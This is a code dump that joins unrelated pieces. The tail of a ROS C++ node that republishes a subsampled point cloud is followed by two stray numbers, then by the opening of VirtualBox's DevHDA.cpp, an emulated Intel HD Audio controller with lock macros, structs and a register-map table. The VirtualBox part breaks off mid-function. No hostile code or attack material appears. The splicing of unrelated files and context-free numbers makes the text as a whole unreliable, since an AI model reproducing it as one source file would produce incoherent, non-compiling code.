n.getParam("/subsample_cloud/input", input); // topic of output cloud if (!n.hasParam("/subsample_cloud/output")) { ROS_ERROR("Could not find parameter output."); return -1; } std::string output; n.getParam("/subsample_cloud/output", output); ros::Subscriber sub = n.subscribe(input, 1, callback); pub = n.advertise<sensor_msgs::PointCloud2>(output, 1); ros::Rate rate(5); // updating at 5 hz, slightly faster than move_base while (n.ok()) { rate.sleep(); ros::spinOnce(); } return 0; }
1,931
758
/* $Id: DevHDA.cpp 73466 2018-08-03 09:41:27Z vboxsync $ */ /** @file * DevHDA.cpp - VBox Intel HD Audio Controller. * * Implemented against the specifications found in "High Definition Audio * Specification", Revision 1.0a June 17, 2010, and "Intel I/O Controller * HUB 6 (ICH6) Family, Datasheet", document number 301473-002. */ /* * Copyright (C) 2006-2018 Oracle Corporation * * This file is part of VirtualBox Open Source Edition (OSE), as * available from http://www.virtualbox.org. This file is free software; * you can redistribute it and/or modify it under the terms of the GNU * General Public License (GPL) as published by the Free Software * Foundation, in version 2 as it comes in the "COPYING" file of the * VirtualBox OSE distribution. VirtualBox OSE is distributed in the * hope that it will be useful, but WITHOUT ANY WARRANTY of any kind. */ /********************************************************************************************************************************* * Header Files * *********************************************************************************************************************************/ #define LOG_GROUP LOG_GROUP_DEV_HDA #include <VBox/log.h> #include <VBox/vmm/pdmdev.h> #include <VBox/vmm/pdmaudioifs.h> #include <VBox/version.h> #include <VBox/AssertGuest.h> #include <iprt/assert.h> #include <iprt/asm.h> #include <iprt/asm-math.h> #include <iprt/file.h> #include <iprt/list.h> #ifdef IN_RING3 # include <iprt/mem.h> # include <iprt/semaphore.h> # include <iprt/string.h> # include <iprt/uuid.h> #endif #include "VBoxDD.h" #include "AudioMixBuffer.h" #include "AudioMixer.h" #include "DevHDA.h" #include "DevHDACommon.h" #include "HDACodec.h" #include "HDAStream.h" # if defined(VBOX_WITH_HDA_AUDIO_INTERLEAVING_STREAMS_SUPPORT) || defined(VBOX_WITH_AUDIO_HDA_51_SURROUND) # include "HDAStreamChannel.h" # endif #include "HDAStreamMap.h" #include "HDAStreamPeriod.h" #include "DrvAudio.h" /********************************************************************************************************************************* * Defined Constants And Macros * *********************************************************************************************************************************/ //#define HDA_AS_PCI_EXPRESS /* Installs a DMA access handler (via PGM callback) to monitor * HDA's DMA operations, that is, writing / reading audio stream data. * * !!! Note: Certain guests are *that* timing sensitive that when enabling !!! * !!! such a handler will mess up audio completely (e.g. Windows 7). !!! */ //#define HDA_USE_DMA_ACCESS_HANDLER #ifdef HDA_USE_DMA_ACCESS_HANDLER # include <VBox/vmm/pgm.h> #endif /* Uses the DMA access handler to read the written DMA audio (output) data. * Only valid if HDA_USE_DMA_ACCESS_HANDLER is set. * * Also see the note / warning for HDA_USE_DMA_ACCESS_HANDLER. */ //# define HDA_USE_DMA_ACCESS_HANDLER_WRITING /* Useful to debug the device' timing. */ //#define HDA_DEBUG_TIMING /* To debug silence coming from the guest in form of audio gaps. * Very crude implementation for now. */ //#define HDA_DEBUG_SILENCE #if defined(VBOX_WITH_HP_HDA) /* HP Pavilion dv4t-1300 */ # define HDA_PCI_VENDOR_ID 0x103c # define HDA_PCI_DEVICE_ID 0x30f7 #elif defined(VBOX_WITH_INTEL_HDA) /* Intel HDA controller */ # define HDA_PCI_VENDOR_ID 0x8086 # define HDA_PCI_DEVICE_ID 0x2668 #elif defined(VBOX_WITH_NVIDIA_HDA) /* nVidia HDA controller */ # define HDA_PCI_VENDOR_ID 0x10de # define HDA_PCI_DEVICE_ID 0x0ac0 #else # error "Please specify your HDA device vendor/device IDs" #endif /* Make sure that interleaving streams support is enabled if the 5.1 surround code is being used. */ #if defined (VBOX_WITH_AUDIO_HDA_51_SURROUND) && !defined(VBOX_WITH_HDA_AUDIO_INTERLEAVING_STREAMS_SUPPORT) # define VBOX_WITH_HDA_AUDIO_INTERLEAVING_STREAMS_SUPPORT #endif /** * Acquires the HDA lock. */ #define DEVHDA_LOCK(a_pThis) \ do { \ int rcLock = PDMCritSectEnter(&(a_pThis)->CritSect, VERR_IGNORED); \ AssertRC(rcLock); \ } while (0) /** * Acquires the HDA lock or returns. */ # define DEVHDA_LOCK_RETURN(a_pThis, a_rcBusy) \ do { \ int rcLock = PDMCritSectEnter(&(a_pThis)->CritSect, a_rcBusy); \ if (rcLock != VINF_SUCCESS) \ { \ AssertRC(rcLock); \ return rcLock; \ } \ } while (0) /** * Acquires the HDA lock or returns. */ # define DEVHDA_LOCK_RETURN_VOID(a_pThis) \ do { \ int rcLock = PDMCritSectEnter(&(a_pThis)->CritSect, VERR_IGNORED); \ if (rcLock != VINF_SUCCESS) \ { \ AssertRC(rcLock); \ return; \ } \ } while (0) /** * Releases the HDA lock. */ #define DEVHDA_UNLOCK(a_pThis) \ do { PDMCritSectLeave(&(a_pThis)->CritSect); } while (0) /** * Acquires the TM lock and HDA lock, returns on failure. */ #define DEVHDA_LOCK_BOTH_RETURN_VOID(a_pThis, a_SD) \ do { \ int rcLock = TMTimerLock((a_pThis)->pTimer[a_SD], VERR_IGNORED); \ if (rcLock != VINF_SUCCESS) \ { \ AssertRC(rcLock); \ return; \ } \ rcLock = PDMCritSectEnter(&(a_pThis)->CritSect, VERR_IGNORED); \ if (rcLock != VINF_SUCCESS) \ { \ AssertRC(rcLock); \ TMTimerUnlock((a_pThis)->pTimer[a_SD]); \ return; \ } \ } while (0) /** * Acquires the TM lock and HDA lock, returns on failure. */ #define DEVHDA_LOCK_BOTH_RETURN(a_pThis, a_SD, a_rcBusy) \ do { \ int rcLock = TMTimerLock((a_pThis)->pTimer[a_SD], (a_rcBusy)); \ if (rcLock != VINF_SUCCESS) \ return rcLock; \ rcLock = PDMCritSectEnter(&(a_pThis)->CritSect, (a_rcBusy)); \ if (rcLock != VINF_SUCCESS) \ { \ AssertRC(rcLock); \ TMTimerUnlock((a_pThis)->pTimer[a_SD]); \ return rcLock; \ } \ } while (0) /** * Releases the HDA lock and TM lock. */ #define DEVHDA_UNLOCK_BOTH(a_pThis, a_SD) \ do { \ PDMCritSectLeave(&(a_pThis)->CritSect); \ TMTimerUnlock((a_pThis)->pTimer[a_SD]); \ } while (0) /********************************************************************************************************************************* * Structures and Typedefs * *********************************************************************************************************************************/ /** * Structure defining a (host backend) driver stream. * Each driver has its own instances of audio mixer streams, which then * can go into the same (or even different) audio mixer sinks. */ typedef struct HDADRIVERSTREAM { union { /** Desired playback destination (for an output stream). */ PDMAUDIOPLAYBACKDEST Dest; /** Desired recording source (for an input stream). */ PDMAUDIORECSOURCE Source; } DestSource; uint8_t Padding1[4]; /** Associated mixer handle. */ R3PTRTYPE(PAUDMIXSTREAM) pMixStrm; } HDADRIVERSTREAM, *PHDADRIVERSTREAM; #ifdef HDA_USE_DMA_ACCESS_HANDLER /** * Struct for keeping an HDA DMA access handler context. */ typedef struct HDADMAACCESSHANDLER { /** Node for storing this handler in our list in HDASTREAMSTATE. */ RTLISTNODER3 Node; /** Pointer to stream to which this access handler is assigned to. */ R3PTRTYPE(PHDASTREAM) pStream; /** Access handler type handle. */ PGMPHYSHANDLERTYPE hAccessHandlerType; /** First address this handler uses. */ RTGCPHYS GCPhysFirst; /** Last address this handler uses. */ RTGCPHYS GCPhysLast; /** Actual BDLE address to handle. */ RTGCPHYS BDLEAddr; /** Actual BDLE buffer size to handle. */ RTGCPHYS BDLESize; /** Whether the access handler has been registered or not. */ bool fRegistered; uint8_t Padding[3]; } HDADMAACCESSHANDLER, *PHDADMAACCESSHANDLER; #endif /** * Struct for maintaining a host backend driver. * This driver must be associated to one, and only one, * HDA codec. The HDA controller does the actual multiplexing * of HDA codec data to various host backend drivers then. * * This HDA device uses a timer in order to synchronize all * read/write accesses across all attached LUNs / backends. */ typedef struct HDADRIVER { /** Node for storing this driver in our device driver list of HDASTATE. */ RTLISTNODER3 Node; /** Pointer to HDA controller (state). */ R3PTRTYPE(PHDASTATE) pHDAState; /** Driver flags. */ PDMAUDIODRVFLAGS fFlags; uint8_t u32Padding0[2]; /** LUN to which this driver has been assigned. */ uint8_t uLUN; /** Whether this driver is in an attached state or not. */ bool fAttached; /** Pointer to attached driver base interface. */ R3PTRTYPE(PPDMIBASE) pDrvBase; /** Audio connector interface to the underlying host backend. */ R3PTRTYPE(PPDMIAUDIOCONNECTOR) pConnector; /** Mixer stream for line input. */ HDADRIVERSTREAM LineIn; #ifdef VBOX_WITH_AUDIO_HDA_MIC_IN /** Mixer stream for mic input. */ HDADRIVERSTREAM MicIn; #endif /** Mixer stream for front output. */ HDADRIVERSTREAM Front; #ifdef VBOX_WITH_AUDIO_HDA_51_SURROUND /** Mixer stream for center/LFE output. */ HDADRIVERSTREAM CenterLFE; /** Mixer stream for rear output. */ HDADRIVERSTREAM Rear; #endif } HDADRIVER; /********************************************************************************************************************************* * Internal Functions * *********************************************************************************************************************************/ #ifndef VBOX_DEVICE_STRUCT_TESTCASE #ifdef IN_RING3 static void hdaR3GCTLReset(PHDASTATE pThis); #endif /** @name Register read/write stubs. * @{ */ static int hdaRegReadUnimpl(PHDASTATE pThis, uint32_t iReg, uint32_t *pu32Value); static int hdaRegWriteUnimpl(PHDASTATE pThis, uint32_t iReg, uint32_t pu32Value); /** @} */ /** @name Global register set read/write functions. * @{ */ static int hdaRegWriteGCTL(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value); static int hdaRegReadLPIB(PHDASTATE pThis, uint32_t iReg, uint32_t *pu32Value); static int hdaRegReadWALCLK(PHDASTATE pThis, uint32_t iReg, uint32_t *pu32Value); static int hdaRegWriteCORBWP(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value); static int hdaRegWriteCORBRP(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value); static int hdaRegWriteCORBCTL(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value); static int hdaRegWriteCORBSIZE(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value); static int hdaRegWriteCORBSTS(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value); static int hdaRegWriteRINTCNT(PHDASTATE pThis, uint32_t iReg, uint32_t pu32Value); static int hdaRegWriteRIRBWP(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value); static int hdaRegWriteRIRBSTS(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value); static int hdaRegWriteSTATESTS(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value); static int hdaRegWriteIRS(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value); static int hdaRegReadIRS(PHDASTATE pThis, uint32_t iReg, uint32_t *pu32Value); static int hdaRegWriteBase(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value); /** @} */ /** @name {IOB}SDn write functions. * @{ */ static int hdaRegWriteSDCBL(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value); static int hdaRegWriteSDCTL(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value); static int hdaRegWriteSDSTS(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value); static int hdaRegWriteSDLVI(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value); static int hdaRegWriteSDFIFOW(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value); static int hdaRegWriteSDFIFOS(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value); static int hdaRegWriteSDFMT(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value); static int hdaRegWriteSDBDPL(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value); static int hdaRegWriteSDBDPU(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value); /** @} */ /** @name Generic register read/write functions. * @{ */ static int hdaRegReadU32(PHDASTATE pThis, uint32_t iReg, uint32_t *pu32Value); static int hdaRegWriteU32(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value); static int hdaRegReadU24(PHDASTATE pThis, uint32_t iReg, uint32_t *pu32Value); #ifdef IN_RING3 static int hdaRegWriteU24(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value); #endif static int hdaRegReadU16(PHDASTATE pThis, uint32_t iReg, uint32_t *pu32Value); static int hdaRegWriteU16(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value); static int hdaRegReadU8(PHDASTATE pThis, uint32_t iReg, uint32_t *pu32Value); static int hdaRegWriteU8(PHDASTATE pThis, uint32_t iReg, uint32_t u32Value); /** @} */ /** @name HDA device functions. * @{ */ #ifdef IN_RING3 static int hdaR3AddStream(PHDASTATE pThis, PPDMAUDIOSTREAMCFG pCfg); static int hdaR3RemoveStream(PHDASTATE pThis, PPDMAUDIOSTREAMCFG pCfg); static int hdaR3UpdateStream(PHDASTATE pThis, PPDMAUDIOSTREAMCFG pCfg); # ifdef HDA_USE_DMA_ACCESS_HANDLER static DECLCALLBACK(VBOXSTRICTRC) hdaR3DMAAccessHandler(PVM pVM, PVMCPU pVCpu, RTGCPHYS GCPhys, void *pvPhys, void *pvBuf, size_t cbBuf, PGMACCESSTYPE enmAccessType, PGMACCESSORIGIN enmOrigin, void *pvUser); # endif #endif /* IN_RING3 */ /** @} */ /********************************************************************************************************************************* * Global Variables * *********************************************************************************************************************************/ /** No register description (RD) flags defined. */ #define HDA_RD_FLAG_NONE 0 /** Writes to SD are allowed while RUN bit is set. */ #define HDA_RD_FLAG_SD_WRITE_RUN RT_BIT(0) /** Emits a single audio stream register set (e.g. OSD0) at a specified offset. */ #define HDA_REG_MAP_STRM(offset, name) \ /* offset size read mask write mask flags read callback write callback index + abbrev description */ \ /* ------- ------- ---------- ---------- ------------------------- -------------- ----------------- ----------------------------- ----------- */ \ /* Offset 0x80 (SD0) */ \ { offset, 0x00003, 0x00FF001F, 0x00F0001F, HDA_RD_FLAG_SD_WRITE_RUN, hdaRegReadU24 , hdaRegWriteSDCTL , HDA_REG_IDX_STRM(name, CTL) , #name " Stream Descriptor Control" }, \ /* Offset 0x83 (SD0) */ \ { offset + 0x3, 0x00001, 0x0000003C, 0x0000001C, HDA_RD_FLAG_SD_WRITE_RUN, hdaRegReadU8 , hdaRegWriteSDSTS , HDA_REG_IDX_STRM(name, STS) , #name " Status" }, \ /* Offset 0x84 (SD0) */ \ { offset + 0x4, 0x00004, 0xFFFFFFFF, 0x00000000, HDA_RD_FLAG_NONE, hdaRegReadLPIB, hdaRegWriteU32 , HDA_REG_IDX_STRM(name, LPIB) , #name " Link Position In Buffer" }, \ /* Offset 0x88 (SD0) */ \ { offset + 0x8, 0x00004, 0xFFFFFFFF, 0xFFFFFFFF, HDA_RD_FLAG_NONE, hdaRegReadU32 , hdaRegWriteSDCBL , HDA_REG_IDX_STRM(name, CBL) , #name " Cyclic Buffer Length" }, \ /* Offset 0x8C (SD0) */ \ { offset + 0xC, 0x00002, 0x0000FFFF, 0x0000FFFF, HDA_RD_FLAG_NONE, hdaRegReadU16 , hdaRegWriteSDLVI , HDA_REG_IDX_STRM(name, LVI) , #name " Last Valid Index" }, \ /* Reserved: FIFO Watermark. ** @todo Document this! */ \ { offset + 0xE, 0x00002, 0x00000007, 0x00000007, HDA_RD_FLAG_NONE, hdaRegReadU16 , hdaRegWriteSDFIFOW, HDA_REG_IDX_STRM(name, FIFOW), #name " FIFO Watermark" }, \ /* Offset 0x90 (SD0) */ \ { offset + 0x10, 0x00002, 0x000000FF, 0x000000FF, HDA_RD_FLAG_NONE, hdaRegReadU16 , hdaRegWriteSDFIFOS, HDA_REG_IDX_STRM(name, FIFOS), #name " FIFO Size" }, \ /* Offset 0x92 (SD0) */ \ { offset + 0x12, 0x00002, 0x00007F7F, 0x00007F7F, HDA_RD_FLAG_NONE, hdaRegReadU16 , hdaRegWriteSDFMT , HDA_REG_IDX_STRM(name, FMT) , #name " Stream Format" }, \ /* Reserved: 0x94 - 0x98. */ \ /* Offset 0x98 (SD0) */ \ { offset + 0x18, 0x00004, 0xFFFFFF80, 0xFFFFFF80, HDA_RD_FLAG_NONE, hdaRegReadU32 , hdaRegWriteSDBDPL , HDA_REG_IDX_STRM(name, BDPL) , #name " Buffer Descriptor List Pointer-Lower Base Address" }, \ /* Offset 0x9C (SD0) */ \ { offset + 0x1C, 0x00004, 0xFFFFFFFF, 0xFFFFFFFF, HDA_RD_FLAG_NONE, hdaRegReadU32 , hdaRegWriteSDBDPU , HDA_REG_IDX_STRM(name, BDPU) , #name " Buffer Descriptor List Pointer-Upper Base Address" } /** Defines a single audio stream register set (e.g. OSD0). */ #define HDA_REG_MAP_DEF_STREAM(index, name) \ HDA_REG_MAP_STRM(HDA_REG_DESC_SD0_BASE + (index * 32 /* 0x20 */), name) /* See 302349 p 6.2. */ const HDAREGDESC g_aHdaRegMap[HDA_NUM_REGS] = { /* offset size read mask write mask flags read callback write callback index + abbrev */ /*------- ------- ---------- ---------- ----------------- ---------------- ------------------- ------------------------ */ { 0x00000, 0x00002, 0x0000FFFB, 0x00000000, HDA_RD_FLAG_NONE, hdaRegReadU16 , hdaRegWriteUnimpl , HDA_REG_IDX(GCAP) }, /* Global Capabilities */ { 0x00002, 0x00001, 0x000000FF, 0x00000000, HDA_RD_FLAG_NONE, hdaRegReadU8 , hdaRegWriteUnimpl , HDA_REG_IDX(VMIN) }, /* Minor Version */ { 0x00003, 0x00001, 0x000000FF, 0x00000000, HDA_RD_FLAG_NONE, hdaRegReadU8 , hdaRegWriteUnimpl , HDA_REG_IDX(VMAJ) }, /* Major Version */ { 0x00004, 0x00002, 0x0000FFFF, 0x00000000, HDA_RD_FLAG_NONE, hdaRegReadU16 , hdaRegWriteU16 , HDA_REG_IDX(OUTPAY) }, /* Output Payload Capabilities */ { 0x00006, 0x00002, 0x0000FFFF, 0x00000000, HDA_RD_FLAG_NONE, hdaRegReadU16 , hdaRegWriteUnimpl , HDA_REG_IDX(INPAY) }, /* Input Payload Capabilities */ { 0x00008, 0x00004, 0x00000103, 0x00000103, HDA_RD_FLAG_NONE, hdaRegReadU32 , hdaRegWriteGCTL , HDA_REG_IDX(GCTL) }, /* Global Control */ { 0x0000c, 0x00002, 0x00007FFF, 0x00007FFF, HDA_RD_FLAG_NONE, hdaRegReadU16 , hdaRegWriteU16 , HDA_REG_IDX(WAKEEN) }, /* Wake Enable */ { 0x0000e, 0x00002, 0x00000007, 0x00000007, HDA_RD_FLAG_NONE, hdaRegReadU8 , hdaRegWriteSTATESTS, HDA_REG_IDX(STATESTS) }, /* State Change Status */ { 0x00010, 0x00002, 0xFFFFFFFF, 0x00000000, HDA_RD_FLAG_NONE, hdaRegReadUnimpl, hdaRegWriteUnimpl , HDA_REG_IDX(GSTS) }, /* Global Status */ { 0x00018, 0x00002, 0x0000FFFF, 0x00000000, HDA_RD_FLAG_NONE, hdaRegReadU16 , hdaRegWriteU16 , HDA_REG_IDX(OUTSTRMPAY) }, /* Output Stream Payload Capability */ { 0x0001A, 0x00002, 0x0000FFFF, 0x00000000, HDA_RD_FLAG_NONE, hdaRegReadU16 , hdaRegWriteUnimpl , HDA_REG_IDX(INSTRMPAY) }, /* Input Stream Payload Capability */ { 0x00020, 0x00004, 0xC00000FF, 0xC00000FF, HDA_RD_FLAG_NONE, hdaRegReadU32 , hdaRegWriteU32 , HDA_REG_IDX(INTCTL) }, /* Interrupt Control */ { 0x00024, 0x00004, 0xC00000FF, 0x00000000, HDA_RD_FLAG_NONE, hdaRegReadU32 , hdaRegWriteUnimpl , HDA_REG_IDX(INTSTS) }, /* Interrupt Status */ { 0x00030, 0x00004, 0xFFFFFFFF, 0x00000000, HDA_RD_FLAG_NONE, hdaRegReadWALCLK, hdaRegWriteUnimpl , HDA_REG_IDX_NOMEM(WALCLK) }, /* Wall Clock Counter */ { 0x00034, 0x00004, 0x000000FF, 0x000000FF, HDA_RD_FLAG_NONE, hdaRegReadU32 , hdaRegWriteU32 , HDA_REG_IDX(SSYNC) }, /* Stream Synchronization */ { 0x00040, 0x00004, 0xFFFFFF80, 0xFFFFFF80, HDA_RD_FLAG_NONE, hdaRegReadU32 , hdaRegWriteBase , HDA_REG_IDX(CORBLBASE) }, /* CORB Lower Base Address */ { 0x00044, 0x00004, 0xFFFFFFFF, 0xFFFFFFFF, HDA_RD_FLAG_NONE, hdaRegReadU32 , hdaRegWriteBase , HDA_REG_IDX(CORBUBASE) }, /* CORB Upper Base Address */ { 0x00048, 0x00002, 0x000000FF, 0x000000FF, HDA_RD_FLAG_NONE, hdaRegReadU16 , hdaRegWriteCORBWP , HDA_REG_IDX(CORBWP) }, /* CORB Write Pointer */ { 0x0004A, 0x00002, 0x000080FF, 0x00008000, HDA_RD_FLAG_NONE, hdaRegReadU16 , hdaRegWriteCORBRP , HDA_REG_IDX(CORBRP) }, /* CORB Read Pointer */ { 0x0004C, 0x00001, 0x00000003, 0x00000003, HDA_RD_FLAG_NONE, hdaRegReadU8 , hdaRegWriteCORBCTL , HDA_REG_IDX(CORBCTL) }, /* CORB Control */ { 0x0004D, 0x00001, 0x00000001, 0x00000001, HDA_RD_FLAG_NONE, hdaRegReadU8 , hdaRegWriteCORBSTS , HDA_REG_IDX(CORBSTS) }, /* CORB Status */ { 0x0004E, 0x00001, 0x000000F3, 0x00000003, HDA_RD_FLAG_NONE, hdaRegReadU8 , hdaRegWriteCORBSIZE, HDA_REG_IDX(CORBSIZE) }, /* CORB Size */ { 0x00050, 0x00004, 0xFFFFFF80, 0xFFFFFF80, HDA_RD_FLAG_NONE, hdaRegReadU32 , hdaRegWriteBase , HDA_REG_IDX(RIRBLBASE) }, /* RIRB Lower Base Address */ { 0x00054, 0x00004, 0xFFFFFFFF, 0xFFFFFFFF, HDA_RD_FLAG_NONE, hdaRegReadU32 , hdaRegWriteBase , HDA_REG_IDX(RIRBUBASE) }, /* RIRB Upper Base Address */ { 0x00058, 0x00002, 0x000000FF, 0x00008000, HDA_RD_FLAG_NONE, hdaRegReadU8 , hdaRegWriteRIRBWP , HDA_REG_IDX(RIRBWP) }, /* RIRB Write Pointer */ { 0x0005A, 0x00002, 0x000000FF, 0x000000FF, HDA_RD_FLAG_NONE, hdaRegReadU16 , hdaRegWriteRINTCNT , HDA_REG_IDX(RINTCNT) }, /* Response Interrupt Count */ { 0x0005C, 0x00001, 0x00000007, 0x00000007, HDA_RD_FLAG_NONE, hdaRegReadU8 , hdaRegWriteU8 , HDA_REG_IDX(RIRBCTL) }, /* RIRB Control */ { 0x0005D, 0x00001, 0x00000005, 0x00000005, HDA_RD_FLAG_NONE, hdaRegReadU8 , hdaRegWriteRIRBSTS , HDA_REG_IDX(RIRBSTS) }, /* RIRB Status */ { 0x0005E, 0x00001, 0x000000F3, 0x00000000, HDA_RD_FLAG_NONE, hdaRegReadU8 , hdaRegWriteUnimpl , HDA_REG_IDX(RIRBSIZE) }, /* RIRB Size */ { 0x00060, 0x00004, 0xFFFFFFFF, 0xFFFFFFFF, HDA_RD_FLAG_NONE, hdaRegReadU32 , hdaRegWriteU32 , HDA_REG_IDX(IC) }, /* Immediate Command */ { 0x00064, 0x00004, 0x00000000, 0xFFFFFFFF, HDA_RD_FLAG_NONE, hdaRegReadU32 , hdaRegWriteUnimpl , HDA_REG_IDX(IR) }, /* Immediate Response */ { 0x00068, 0x00002, 0x00000002, 0x00000002, HDA_RD_FLAG_NONE, hdaRegReadIRS , hdaRegWriteIRS , HDA_REG_IDX(IRS) }, /* Immediate Command Status */ { 0x00070, 0x00004, 0xFFFFFFFF, 0xFFFFFF81, HDA_RD_FLAG_NONE, hdaRegReadU32 , hdaRegWriteBase , HDA_REG_IDX(DPLBASE) }, /* DMA Position Lower Base */ { 0x00074, 0x00004, 0xFFFFFFFF, 0xFFFFFFFF, HDA_RD_FLAG_NONE, hdaRegReadU32 , hdaRegWriteBase , HDA_REG_IDX(DPUBASE) }, /* DMA Position Upper Base */ /* 4 Serial Data In (SDI). */ HDA_REG_MAP_DEF_STREAM(0, SD0), HDA_REG_MAP_DEF_STREAM(1, SD1), HDA_REG_MAP_DEF_STREAM(2, SD2), HDA_REG_MAP_DEF_STREAM(3, SD3), /* 4 Serial Data Out (SDO). */ HDA_REG_MAP_DEF_STREAM(4, SD4), HDA_REG_MAP_DEF_STREAM(5, SD5), HDA_REG_MAP_DEF_STREAM(6, SD6), HDA_REG_MAP_DEF_STREAM(7, SD7) }; const HDAREGALIAS g_aHdaRegAliases[] = { { 0x2084, HDA_REG_SD0LPIB }, { 0x20a4, HDA_REG_SD1LPIB }, { 0x20c4, HDA_REG_SD2LPIB }, { 0x20e4, HDA_REG_SD3LPIB }, { 0x2104, HDA_REG_SD4LPIB }, { 0x2124, HDA_REG_SD5LPIB }, { 0x2144, HDA_REG_SD6LPIB }, { 0x2164, HDA_REG_SD7LPIB } }; #ifdef IN_RING3 /** HDABDLEDESC field descriptors for the v7 saved state. */ static SSMFIELD const g_aSSMBDLEDescFields7[] = { SSMFIELD_ENTRY(HDABDLEDESC, u64BufAdr), SSMFIELD_ENTRY(HDABDLEDESC, u32BufSize), SSMFIELD_ENTRY(HDABDLEDESC, fFlags), SSMFIELD_ENTRY_TERM() }; /** HDABDLESTATE field descriptors for the v6+ saved state. */ static SSMFIELD const g_aSSMBDLEStateFields6[] = { SSMFIELD_ENTRY(HDABDLESTATE, u32BDLIndex), SSMFIELD_ENTRY(HDABDLESTATE, cbBelowFIFOW), SSMFIELD_ENTRY_OLD(FIFO, HDA_FIFO_MAX), /* Deprecated; now is handled in the stream's circular buffer. */ SSMFIELD_ENTRY(HDABDLESTATE, u32BufOff), SSMFIELD_ENTRY_TERM() }; /** HDABDLESTATE field descriptors for the v7 saved state. */ static SSMFIELD const g_aSSMBDLEStateFields7[] = { SSMFIELD_ENTRY(HDABDLESTATE, u32BDLIndex), SSMFIELD_ENTRY(HDABDLESTATE, cbBelowFIFOW), SSMFIELD_ENTRY(HDABDLESTATE, u32BufOff), SSMFIELD_ENTRY_TERM() }; /** HDASTREAMSTATE field descriptors for the v6 saved state. */ static SSMFIELD const g_aSSMStreamStateFields6[] = { SSMFIELD_ENTRY_OLD(cBDLE, sizeof(uint16_t)), /* Deprecated. */ SSMFIELD_ENTRY(HDASTREAMSTATE, uCurBDLE), SSMFIELD_ENTRY_OLD(fStop, 1), /* Deprecated; see SSMR3PutBool(). */ SSMFIELD_ENTRY_OLD(fRunning, 1), /* Deprecated; using the HDA_SDCTL_RUN bit is sufficient. */ SSMFIELD_ENTRY(HDASTREAMSTATE, fInReset), SSMFIELD_ENTRY_TERM() }; /** HDASTREAMSTATE field descriptors for the v7 saved state. */ static SSMFIELD const g_aSSMStreamStateFields7[] = { SSMFIELD_ENTRY(HDASTREAMSTATE, uCurBDLE), SSMFIELD_ENTRY(HDASTREAMSTATE, fInReset), SSMFIELD_ENTRY(HDASTREAMSTATE, tsTransferNext), SSMFIELD_ENTRY_TERM() }; /** HDASTREAMPERIOD field descriptors for the v7 saved state. */ static SSMFIELD const g_aSSMStreamPeriodFields7[] = { SSMFIELD_ENTRY(HDASTREAMPERIOD, u64StartWalClk), SSMFIELD_ENTRY(HDASTREAMPERIOD, u64ElapsedWalClk), SSMFIELD_ENTRY(HDASTREAMPERIOD, framesTransferred), SSMFIELD_ENTRY(HDASTREAMPERIOD, cIntPending), SSMFIELD_ENTRY_TERM() }; /** * 32-bit size indexed masks, i.e. g_afMasks[2 bytes] = 0xffff. */ static uint32_t const g_afMasks[5] = { UINT32_C(0), UINT32_C(0x000000ff), UINT32_C(0x0000ffff), UINT32_C(0x00ffffff), UINT32_C(0xffffffff) }; #endif /* IN_RING3 */ /** * Retrieves the number of bytes of a FIFOW register. * * @return Number of bytes of a given FIFOW register. */ DECLINLINE(uint8_t) hdaSDFIFOWToBytes(uint32_t u32RegFIFOW) { uint32_t cb; switch (u32RegFIFOW) { case HDA_SDFIFOW_8B: cb = 8; break; case HDA_SDFIFOW_16B: cb = 16; break; case HDA_SDFIFOW_32B: cb = 32; break; default: cb = 0; break; } Assert(RT_IS_POWER_OF_TWO(cb)); return cb; } #ifdef IN_RING3 /** * Reschedules pending interrupts for all audio streams which have complete * audio periods but did not have the chance to issue their (pending) interrupts yet. * * @param pThis The HDA device state. */ static void hdaR3ReschedulePendingInterrupts(PHDASTATE pThis) { bool fInterrupt = false; for (uint8_t i = 0; i < HDA_MAX_STREAMS; ++i) { PHDASTREAM pStream = hdaGetStreamFromSD(pThis, i); if (!pStream) continue; if ( hdaR3StreamPeriodIsComplete (&pStream->State.Period) && hdaR3StreamPeriodNeedsInterrupt(&pStream->State.Period) && hdaR3WalClkSet(pThis, hdaR3StreamPeriodGetAbsElapsedWalClk(&pStream->State.Period), false /* fForce */)) { fInterrupt = true; break; } } LogFunc(("fInterrupt=%RTbool\n", fInterrupt)); # ifndef LOG_ENABLED hdaProcessInterrupt(pThis); # else hdaProcessInterrupt(pThis, __FUNCTION__); # endif } #endif /* IN_RING3 */ /** * Looks up a register at the exact offset given by @a offReg. * * @returns Register index on success, -1 if not found. * @param offReg The register offset. */ static int hdaRegLookup(uint32_t offReg) { /* * Aliases. */ if (offReg >= g_aHdaRegAliases[0].offReg) { for (unsigned i = 0; i < RT_ELEMENTS(g_aHdaRegAliases); i++) if (offReg == g_aHdaRegAliases[i].offReg) return g_aHdaRegAliases[i].idxAlias; Assert(g_aHdaRegMap[RT_ELEMENTS(g_aHdaRegMap) - 1].offset < offReg); return -1; } /* * Binary search the */ int idxEnd = RT_ELEMENTS(g_aHdaRegMap); int idxLow = 0; for (;;) { int idxMiddle = idxLow + (idxEnd - idxLow) / 2; if (offReg < g_aHdaRegMap[idxMiddle].offset) { if (idxLow == idxMiddle) break; idxEnd = idxMiddle; } else if (offReg > g_aHdaRegMap[idxMiddle].offset) { idxLow = idxMiddle + 1; if (idxLow >= idxEnd) break; } else return idxMiddle; } #ifdef RT_STRICT for (unsigned i = 0; i < RT_ELEMENTS(g_aHdaRegMap); i++) Assert(g_aHdaRegMap[i].offset != offReg); #endif return 